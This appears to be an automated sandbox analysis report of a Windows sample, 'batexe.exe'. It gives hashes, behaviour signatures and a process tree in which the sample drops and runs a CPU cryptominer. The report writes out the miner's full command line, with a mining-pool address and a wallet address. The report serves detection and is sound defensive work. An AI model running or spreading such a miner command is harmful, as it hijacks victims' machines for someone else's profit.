73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
300s
max time network
298s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
24/02/2024, 07:04

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3916	b2e.exe
4448	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4448	cpuminer-sse2.exe
4448	cpuminer-sse2.exe
4448	cpuminer-sse2.exe
4448	cpuminer-sse2.exe
4448	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/772-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 772 wrote to memory of 3916	772	batexe.exe	75
PID 772 wrote to memory of 3916	772	batexe.exe	75
PID 772 wrote to memory of 3916	772	batexe.exe	75
PID 3916 wrote to memory of 2236	3916	b2e.exe	76
PID 3916 wrote to memory of 2236	3916	b2e.exe	76
PID 3916 wrote to memory of 2236	3916	b2e.exe	76
PID 2236 wrote to memory of 4448	2236	cmd.exe	79
PID 2236 wrote to memory of 4448	2236	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:772
- C:\Users\Admin\AppData\Local\Temp\BA09.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\BA09.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\BA09.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3916
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\C208.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2236
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\BA09.tmp\b2e.exe

Filesize
960KB

MD5
d15ecf39e70d4d6e278b0da9ff36ba87

SHA1
2139694bf96cc3b6fbfadb8a9c8745b8901bff6a

SHA256
04b2e6191d36dccb7b93c7d207ff16c0702cdec9b64b98206f9ffc7dc7633d54

SHA512
326cdd9b35aa3dbd39d2fd4a22dd78f732d481f05ef6dca085cd086d8ca91502f3be961b44e5c4bbf2ebf947ffc4f1b4d4703593951fce22acaa418a77741434

Download Submit
C:\Users\Admin\AppData\Local\Temp\BA09.tmp\b2e.exe

Filesize
15.6MB

MD5
effbc95f12b94fe2d829b925db2c760b

SHA1
4824a2db113178a0264dd8e51a2a4ba6c517d2df

SHA256
212e09c4899ad4b5dae7f95df136ebb0d3d36fd2be7bd76580ca1c0e993f555a

SHA512
74bac67fe7d5f48cfe51bd88ad9175001428825a5d78dbb92d033c82f66dbf924013d32778975c2cd706e5a77dacd649d298277a5d747405c3c17de49df86cce

Download Submit
C:\Users\Admin\AppData\Local\Temp\C208.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.4MB

MD5
f2b398c16f79c3c197071cb47146efbd

SHA1
59e884f44bec19f8d5018bb5b8f79e79b98b69c3

SHA256
c3be97bd0e7ea842120b24afd7fa0ad1435d0a8eb0ecb36a611c6de105c98f23

SHA512
31c48626b43e32efa3b120894e77b75ed3542c96e9e858beaeac512740b7728b061b7ec70db496403e81ef493741ed13045d3c9608a53be181c8a77180191244

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.1MB

MD5
3b0e358d46daf4646f7bb4735a7cf0df

SHA1
96762e7afc42ce9896ea626028c3d2301a22066f

SHA256
220b8ad97ba0395d681e28109bdd3d79bef047cdf164c8208ae32d52f0fbdf84

SHA512
441977280fa74abdf0dbd2e211065f09dd80e555ae9a883d67edebf160ea5a2b9f905b0b40944d8b16b3ce9fa00541c0af617c93f2977e7e373ee3182677237e

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.7MB

MD5
b969ee11afec75e3f5d486233b44e9f0

SHA1
6e03c993dd6e785a7b9697446866c2fca81d4460

SHA256
1a86c594cc369d71053bfc2e0c7da47c2bb79bd839780753eb869948069a3d78

SHA512
f728879be7d0d8c97ee55eba9d91bd270d99d3e4aae085f61a11b20bac769022edc7f39786361d3501587e1030003f1ea277d292230fd038ebcfce1eaaa47859

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/772-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3916-55-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3916-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4448-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4448-43-0x0000000070C60000-0x0000000070CF8000-memory.dmp

Filesize
608KB

Download
memory/4448-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4448-44-0x00000000010B0000-0x0000000002965000-memory.dmp

Filesize
24.7MB

Download
memory/4448-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4448-50-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4448-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4448-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4448-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4448-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4448-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4448-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4448-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download